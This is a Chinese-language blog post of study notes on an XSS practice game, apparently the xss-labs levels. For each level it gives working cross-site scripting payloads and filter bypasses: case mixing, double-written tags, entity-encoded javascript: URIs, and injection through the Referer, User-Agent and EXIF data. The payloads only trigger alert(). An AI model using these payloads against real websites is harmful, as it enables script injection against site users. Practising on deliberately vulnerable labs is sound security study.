WEB

XSS 小游戏

Posted by Elli0t on 2020-03-20

在BUU上做了一道关于前端的题目,完全看不懂wp。赶紧恶补一下前端的漏洞

这种前端的题目,建议直接看网络传过来的html源码,(浏览器有一定的容错能力,他会补足不完整的标签)查看器会自动作出改变。)

常见的xss payload

1
2
3
4
5
6
<script>alert(1)</script>
<svg/οnlοad=alert(1)>
<img src=1 οnerrοr=alert(1)>
<a href="javascript:alert(1)">test</a>
<p οnclick='alert(1)'>test</p> #点击触发事件
<p οnmοuseοver='alert(1)'>test</p> #移动鼠标触发事件

第三关

htmlspecialchars()转义成HTML实体
但是htmlspecialchars在默认情况下不会转义单引号,需要设置quotestyle才会进行转义
'onclick='window.alert()

第六关

大小写绕过

1
2
"><img Src=x Onerror=alert(1)>
"><scRipt>alert('xss')</ScrIpt>

第七关

双写绕过
"><scscriptript>alert('xss')</scrscriptipt>

第八关

伪协议
编码的形式绕过
HTML字符在线实体转换
javascri&#x70;t:alert('xss') #HTML实体编码(HEX)
这是实体编码 entity code
「&#」开头的后接十进制数字,「&#x」开头的后接十六进制数字。

字符实体是用一个编号写入HTML代码中来代替一个字符,在使用浏览器访问网页时会将这个编号解析还原为字符以供阅读。
这么做的目的主要有两个:
1、解决HTML代码编写中的一些问题。例如需要在网页上显示小于号(<)和大于号(>),由于它们是HTML的预留标签,可能会被误解析。这时就需要将小于号和大于号写成字符实体:
小于号这样写:< 或 <
大于号这样写:> 或 >
前面的写法称为实体名称,后面的写法则是实体编号。ISO-8859-1字符集(西欧语言)中两百多个字符设定了实体名称,而对于其它所有字符都可以用实体编号来代替。
2、网页编码采用了特定语言的编码,却需要显示来自其它语言的字符。例如,网页编码采用了西欧语言ISO-8859-1,却要在网页中显示中文,这时必须将中文字符以实体形式写入HTML代码中。

第九关

需要添加http:// 有strpos($str7,’http://‘)
javascri&#x70;t:alert('xss')<!--http://-->

第十关

"onclick="alert()"type="text"
onclick 事件会在对象被点击时发生。

第十一关

在Referer中写
t_sort="onclick='window.alert()'type='text'"

第十二关

在User-agent中加入
"onclick='alert()'type='text'

第十三关

cookie中加入

第十四关

exif(照片信息) xss
’ "><img src=x onerror=alert(404)>
)

第十五关(不知怎么没有成功,晕了)

?src='level1.php?name=test&#x3C;img src=x onerror=alert(404)&#x3E;'

第十六关

过滤了空格,可以回车编码绕过
%0d和%0a表示回车换行
?keyword=<img%0asrc=x%0aonerror=alert(404)>

第十七关

%20为空格,可以断开源码的结构
?arg01=a&arg02=%20onmouseover=alert(%27xss%27)

第十九关和第二十关

flash xss
不会
?arg01=version&arg02=<a href="javascript:alert(document.domain)">xss_by_SST</a>

参考链接

https://www.cnblogs.com/gaonuoqi/p/11396644.html
https://blog.csdn.net/weixin_44677409/article/details/91345651